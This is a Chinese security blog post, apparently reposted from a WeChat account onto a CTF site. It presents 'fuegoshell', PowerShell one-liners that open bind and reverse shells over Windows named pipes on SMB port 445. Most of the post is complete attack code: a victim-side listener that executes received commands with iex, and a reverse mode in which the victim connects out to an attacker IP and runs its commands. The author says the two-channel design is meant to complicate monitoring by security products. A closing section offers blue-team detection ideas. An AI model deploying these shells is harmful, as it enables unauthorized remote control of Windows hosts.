使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

创建一个“fuegoshell”绑定 shell

我们在“受害者”上启动一个侦听器并从“攻击者”连接到它:

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

  • 打开一个监听传入连接的命名管道

  • 通过命名管道创建读/写操作流

  • 等待命令,执行它,然后将结果发送给攻击者

在 Powershell 命令提示符中只需运行:

$npipeServer = new-object System.IO.Pipes.NamedPipeServerStream('fuegoshell', [System.IO.Pipes.PipeDirection]::InOut)try {    'Fuegoshell-server started'    'Waiting for client connection'    $npipeServer.WaitForConnection()    'Connection established'
$pipeReader = new-object System.IO.StreamReader($npipeServer) $script:pipeWriter = new-object System.IO.StreamWriter($npipeServer) $pipeWriter.AutoFlush = $true
#$clientName = $env:computername #WriteToPipeAndLog "Connected to $clientName !" # say hello $pipeWriter.WriteLine("Connected on "+$env:computername)
while (1) { $pipeWriter.WriteLine('YOURMOVE') $command = $pipeReader.ReadLine() if ($command -eq 'exit') { break } try { # Some code that may cause an error $data = iex $command | Out-String ; } catch { ### Logging the error # local log : # Write-host -f red "Encountered Error:"$_.Exception.Message # remote log : # $data = $Error[0] | Out-String ; ### no error display $data = "error : maybe empty or wrong command line" } $msg = $data $pipeWriter.WriteLine($msg) }
Start-Sleep -Seconds 2}finally { 'Shell exiting' $npipeServer.Dispose()}

在攻击者方面:连接到受害者

我们将 :

  • 打开到受害者的命名管道传出连接

  • 通过命名管道创建读/写操作流

  • 发送命令执行,检索结果并显示

在 Powershell 命令提示符中只需运行:

param ($ComputerName = '192.168.49.1')
$npipeClient = new-object System.IO.Pipes.NamedPipeClientStream($ComputerName, 'fuegoshell', [System.IO.Pipes.PipeDirection]::InOut, [System.IO.Pipes.PipeOptions]::None, [System.Security.Principal.TokenImpersonationLevel]::Impersonation)$pipeReader = $pipeWriter = $nulltry { 'Fuegoshell-client started' 'Connecting to shell...' $npipeClient.Connect()
$pipeReader = new-object System.IO.StreamReader($npipeClient) $pipeWriter = new-object System.IO.StreamWriter($npipeClient) $pipeWriter.AutoFlush = $true # wait hello from the other side $pipeReader.ReadLine() while (1) { while (($msg = $pipeReader.ReadLine()) -notmatch 'YOURMOVE') { $msg } $command = Read-Host 'fuegobindshell>' if ($command -eq 'exit') { $pipeWriter.WriteLine($command) # send command break } $pipeWriter.WriteLine($command) # send command $currentDate = Get-Date -Format "yyyyMMdd_HHmmss" ; $cmdlogmsg = "[cmdlog> " $data = $pipeReader.ReadLine() # get the result # display result $msg = $currentDate+$cmdlogmsg+$data $msg }}finally { 'Shell exiting' $npipeClient.Dispose()}

注意:当然,您当前的凭据必须在受害计算机上有效

下面是在“绑定”模式下运行的示例。从 Github检索fuegoshell 项目,转到 fuegoshell 目录并运行:

powershell -exec bypass .generate_bind_fuegoshell.ps1
  • 红色框内:用于生成 oneliners 的命令

  • 橙色框内:直线跑到受害者身上

  • 绿色框内:单线跑到攻击者身上

  • 以黄色突出显示:fuegoshell 正在运行

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

注意:攻击者位于该图片的左侧,受害者位于该图片的右侧

创建“fuegoshell”反向 shell

它是如何运作的?我只是想复杂化安全产品可以完成的命名管道内容的监控。我们将创建两个频道:

  • CONTROL-CHANNEL :用于发送命令

  • 数据通道:用于结果显示目的

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

在攻击者方面:创建两个通信通道

我们将 :

  • 打开命名管道侦听来自受害者的传入连接

  • 发送命令执行并显示受害者发送的结果

因为我们创建了两个通道,所以我们将避免分离控制台的混乱。
在 powershell 控制台 1 中运行:

$host.ui.RawUI.WindowTitle = "DATA-CHANNEL";$pipedata = new-object System.IO.Pipes.NamedPipeServerStream 'fuego-data','In'; $pipedata.WaitForConnection();$sr= new-object System.IO.StreamReader $pipedata;while (($data = $sr.ReadLine()) -ne $null) {     echo $data.ToString()};$sr.Dispose();$pipedata.Dispose();

在 powershell 控制台 2 中运行:

$host.ui.RawUI.WindowTitle = "CONTROL-CHANNEL";$pipecontrol = new-object System.IO.Pipes.NamedPipeServerStream 'fuego-control','Out';$pipecontrol.WaitForConnection();$sw = new-object System.IO.StreamWriter $pipecontrol;$sw.AutoFlush = $true;$myprompt = 'fuegoShell>';do {     $mycmd = Read-Host -Prompt $myprompt;    $sw.WriteLine($mycmd)     } until ($mycmd -eq 'exit');$sw.Dispose();$pipecontrol.Dispose();

在受害者方面:连接到攻击者

  • 打开命名管道,连接到“数据通道”,监听攻击者的机器

  • 打开第二个命名管道,连接到“控制通道”,同时也在攻击者的机器上监听

  • 检索要执行的命令(从控制管道),执行命令,发回结果(使用数据管道)

  • 完成后关闭通道

在 Powershell 命令提示符中:

# open control and data channels$pipedata = new-object System.IO.Pipes.NamedPipeClientStream '192.168.49.116','fuego-data','Out';$pipedata.Connect();$sw = new-object System.IO.StreamWriter $pipedata;$sw.AutoFlush = $true;$currentHost = iex 'hostname' | Out-String;$sw.WriteLine("-------------------------");$sw.WriteLine("[+] New incoming shell from : ");$sw.WriteLine($currentHost);$sw.WriteLine("---");$pipeListener = new-object System.IO.Pipes.NamedPipeClientStream '192.168.49.116','fuego-control','In'; $pipeListener.Connect();$sr= new-object System.IO.StreamReader $pipeListener;$mylogmsg = '[cmdlog]> ';
# wait for commands from the C2, execute and send the resultwhile (($data = $sr.ReadLine()) -ne 'exit') { $currentDate = Get-Date -Format "yyyyMMdd_HHmmss" ; $res = iex $data | Out-String ; $sw.WriteLine($currentDate+$mylogmsg+$data); $sw.WriteLine($res) };
# close named pipes$sw.Dispose();$pipeListener.Dispose();$sr.Dispose();$pipedata.Dispose();

注意:当然,您当前的凭据必须在攻击者计算机上有效

下面是在“反向”模式下运行的示例。从 Github检索fuegoshell 项目,转到 fuegoshell 目录并运行:

powershell -exec bypass .generate_reverse_fuegoshell.ps1
  • 红色框内:用于生成 oneliners 的命令

  • 橙色框内:直线跑到受害者身上

  • 绿色框内:单线跑到攻击者身上

  • 以黄色突出显示:fuegoshell 正在运行

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

注意:攻击者位于该图片的左侧,受害者位于该图片的右侧

检测

这不是我当前的工作,但我会尝试为蓝队成员提供一些检测机会(以及红队成员的改进领域)。

基于网络的检测

Fuegoshell流量未加密,以下是一些关键点:

  • TCP协议,端口445

  • 中小企业协议

  • SMB 命令:ioctl (11)

  • SMB 树 ID:包含 IPC$

  • SMB Ioctl 请求 (0x0b):FSCTL_PIPE_WAIT (0x00110018)

  • 名称:由 maldev 作者设置的值,因此它可能不是检测的最佳选择。

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

基于主机的检测

Fuegoshell可以在绑定 shell 或反向 shell 模式下运行。两者的工件并不相同,但我认为常见的检测领域之一是 AMSI 的使用,在使用这些功能之一时触发警报(实际上它们不太可能经常使用):

  • System.IO.Pipes.NamedPipeClientStream

  • System.IO.Pipes.NamedPipeServerStream

绑定shell检测

当使用“bind shell”模式时,会在受害者上创建一个命名管道:

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

使用Sysmon事件17可用于检测:该管道是由Image powershell.exe创建的。PipeName 值由 maldev 作者设置,因此它可能不是检测的最佳选择。

Pipe Created:RuleName: -EventType: CreatePipeUtcTime: 2024-04-26 14:46:33.997ProcessGuid: {ccf50e9a-be49-662b-7f05-00000000dc00}ProcessId: 6684PipeName: PSHost.133586163937360232.6684.DefaultAppDomain.powershellImage: C:windowsSystem32WindowsPowerShellv1.0powershell.exeUser: WIN10X64VIKTESTviking
Pipe Created:RuleName: -EventType: CreatePipeUtcTime: 2024-04-26 14:46:53.356ProcessGuid: {ccf50e9a-b68f-662b-3705-00000000dc00}ProcessId: 1296PipeName: fuegoshellImage: C:WindowsSystem32WindowsPowerShellv1.0powershell.exeUser: WIN10X64VIKTESTviking

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

Powershell可以列出所有管道,也许它可以帮助狩猎操作:

[System.IO.Directory]::GetFiles("\.\pipe\")

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

反向壳检测

当使用“反向 shell”模式时,不会在受害者上创建命名管道,但会在 DeviceMuP 中创建一个新的管道条目:

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

sysinternals handle.exe 可以列出一些条目(但有些条目可能不会列出,如下所示!),也许它可以帮助进行狩猎操作:

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

Procmon 提供了更详细的信息:当System.IO.Pipes.NamedPipeClientStream 打开与攻击者计算机的 netwotk 连接时,使用 ZwCreateFile。

使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell



原文始发于微信公众号(TtTeam):使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell

版权声明:admin 发表于 2024年5月11日 上午12:26。
转载请注明:使用命名管道和 Powershell oneliners 使用 Windows SMB 端口创建 反向shell | CTF导航

相关文章